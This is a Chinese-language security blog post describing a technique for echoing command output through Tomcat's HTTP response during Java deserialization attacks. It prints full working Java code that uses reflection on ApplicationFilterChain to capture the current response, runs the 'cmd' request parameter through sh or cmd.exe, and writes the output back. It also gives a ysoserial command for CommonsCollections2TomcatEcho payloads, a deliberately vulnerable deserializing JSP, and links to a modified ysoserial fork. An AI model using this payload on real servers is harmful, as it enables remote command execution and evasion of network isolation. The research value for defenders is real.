java

Tomcat中一种半通用回显方法

Posted by kingkk on 2020-03-06

前言

前段时间和@lufei 大哥学习了一波Linux下基于文件描述符的反序列化回显方式的思路。

在自己实现的过程中发现，是通过IP和端口号的筛选，从而过滤出当前线程（也可以说是请求）的文件描述符，进而加入回显的内容。

但是同时也有一个疑问，我们使用回显的目前主要是因为一些端口的过滤，一些内外网的隔离。从而将一些无法从别的途径传输的执行结果，通过http请求的方式，附加在原本的response中，从而绕过一些防护和限制。

以个人的理解，在这种情况下，大概率会有一些负载均衡在真正的服务器前面，这样服务器中显示的ip和端口都会是LB的信息，这种筛选的方式也就失效了。

当时的想法也是如果能直接获取到当前请求的response变量，直接write就可以了。但是对tomcat不是很熟悉，弄了个简易版适配Spring的就没后文了。

最近又在社区中看到一个师傅发了这个Linux文件描述符的回显方式，评论处也提出了如果能直接获取response的效果会更好，于是就开始试着找了下如何获取tomcat的response变量。

https://xz.aliyun.com/t/7307

寻找过程

这里起的是一个spring boot，先试着往Controller里面注入一个response

为了确保我们获取到的response对象确实是tomcat的response，我们顺着堆栈一直往下。

可以发现request和response几乎就是一路传递的，并且在内存中都是同一个变量（变量toString最后的数字就是当前变量的部分哈希）

这样，就没有问题，只要我们能获取到这些堆栈中，任何一个类的response实例即可。

接下来就是找哪里的response变量可以被我们获取，比较蛋疼的是，每个函数都是通过传参的方式传递的response和request。

那这样的话，在这过程中request和response有没有在哪里被记录过，而且为了通用性，我们只应该寻找tomcat部分的代码，和spring相关的就可以不用看了。

而且记录的变量不应该是一个全局变量，而应该是一个ThreadLocal，这样才能获取到当前线程的请求信息。而且最好是一个static静态变量，否则我们还需要去获取那个变量所在的实例。

顺着这个思路，刚好在org.apache.catalina.core.ApplicationFilterChain这个类中，找到了一个符合要求的变量。

而且很巧的是，刚好在处理我们Controller逻辑之前，有记录request和response的动作。

虽然if条件是false，但是不要紧，我们有反射。

这样，整体的思路大概就是

1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT，让代码逻辑走到if条件里面

2、初始化lastServicedRequest和lastServicedResponse两个变量，默认为null

3、从lastServicedResponse中获取当前请求response，并且回显内容。

写的过程中也学习了一下怎么通过反射修改一个private final的变量，还踩了一些坑，总之直接放上最后的代码

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Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL);
modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL);
WRAP_SAME_OBJECT_FIELD.setAccessible(true);
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

ThreadLocal<ServletResponse> lastServicedResponse =
    (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
boolean WRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean(null);
String cmd = lastServicedRequest != null
    ? lastServicedRequest.get().getParameter("cmd")
    : null;
if (!WRAP_SAME_OBJECT || lastServicedResponse == null || lastServicedRequest == null) {
    lastServicedRequestField.set(null, new ThreadLocal<>());
    lastServicedResponseField.set(null, new ThreadLocal<>());
    WRAP_SAME_OBJECT_FIELD.setBoolean(null, true);
} else if (cmd != null) {
    ServletResponse responseFacade = lastServicedResponse.get();
    responseFacade.getWriter();
    java.io.Writer w = responseFacade.getWriter();
    Field responseField = ResponseFacade.class.getDeclaredField("response");
    responseField.setAccessible(true);
    Response response = (Response) responseField.get(responseFacade);
    Field usingWriter = Response.class.getDeclaredField("usingWriter");
    usingWriter.setAccessible(true);
    usingWriter.set((Object) response, Boolean.FALSE);

    boolean isLinux = true;
    String osTyp = System.getProperty("os.name");
    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
        isLinux = false;
    }
    String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
    Scanner s = new Scanner(in).useDelimiter("\\a");
    String output = s.hasNext() ? s.next() : "";
    w.write(output);
    w.flush();
}

原本Contorller代码的逻辑是输出input部分的内容，我们所做的就是在原本的输出内容前面，添加cmd参数执行之后的结果。

需要刷新两次的原因是因为第一次只是通过反射去修改值，这样在之后的运行中就会cache我们的请求，从而也就能获取到response。

加入ysoserial

这样，这样只要稍加改造一下，擦去泛型的部分，用完整的类名代替原本的类名，就可以放入到ysoserial中。

中间莫名又踩了一些坑，嫌麻烦的师傅可以直接用已经改好的版本。

https://github.com/kingkaki/ysoserial

ysoserial的第二个参数是要执行的命令，由于这里可以直接从request获取，自由度更大，所以我将第二个参数改成了要执行的命令的param。

以CommonsCollections2为例，如下的方式就相当于创建了一个从cmd参数获取要执行的命令的payload。

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java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2TomcatEcho cmd

测试一下别的tomcat环境，以jsp为例，确保有commons-collections4的依赖

然后自己构造一个反序列化的环境

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<%
try {
	String input = request.getParameter("input");
	byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(input);
    java.io.ObjectInputStream ois = new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(b));
    ois.readObject();
} catch (Exception e) {
    e.printStackTrace();
}
%>

可以看到内容成功的追加到了输出的body中。

一些局限性

回到标题，为什么是一个半通用的方法呢？

当时构造好了之后兴匆匆的跑了一波shiro的反序列化，死活不成功，debug了很久之后发现了一个问题。

shiro的rememberMe功能，其实是shiro自己实现的一个filter

在org.apache.catalina.core.ApplicationFilterChain的internalDoFilter中(省略一些无用的代码)

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if (pos < n) {
    ApplicationFilterConfig filterConfig = filters[pos++];
    try {
        Filter filter = filterConfig.getFilter();
		...
         filter.doFilter(request, response, this);
    } catch (...)
        ...
    }
    return;
}

// We fell off the end of the chain -- call the servlet instance
try {
    if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
        lastServicedRequest.set(request);
        lastServicedResponse.set(response);
    }

    if (request.isAsyncSupported() && !servletSupportsAsync) {
        request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
                             Boolean.FALSE);
    }
    // Use potentially wrapped request from this point
    if (...){
        ...
    } else {
        servlet.service(request, response);
    }
} catch (...) {
    ...
} finally {
    ...
}

可以看到是先取出所有的的filter对当前请求进行拦截，通过之后，再进行cache request，再从servlet.service(request, response)进入jsp的逻辑代码。

rememberMe功能就是ShiroFilter的一个模块，这样的话在这部分逻辑中执行的代码，还没进入到cache request的操作中，此时的cache内容就是空，从而也就获取不到我们想要的response。

最后

ysoserial中所有用createTemplatesImpl生成payload的链都已加入了Tomcat回显的模式。

https://github.com/kingkaki/ysoserial

  • CommonsCollections2TomcatEcho
  • CommonsCollections3TomcatEcho
  • CommonsCollections4TomcatEcho

感觉也不仅限于反序列化吧，一些拥有java代码执行的场景都通过这种方式，实现Tomcat的回显。

比较蛋疼的一点就是一些filter中执行的代码不适用，就很可能不适用于很多框架型的漏洞，但是对于开发任人员写的Controller中的场景应该都是可以的。

技术比较菜，如果有师傅发现了更好的利用方式，或者一些文章中的疏漏，都可以一起探讨。

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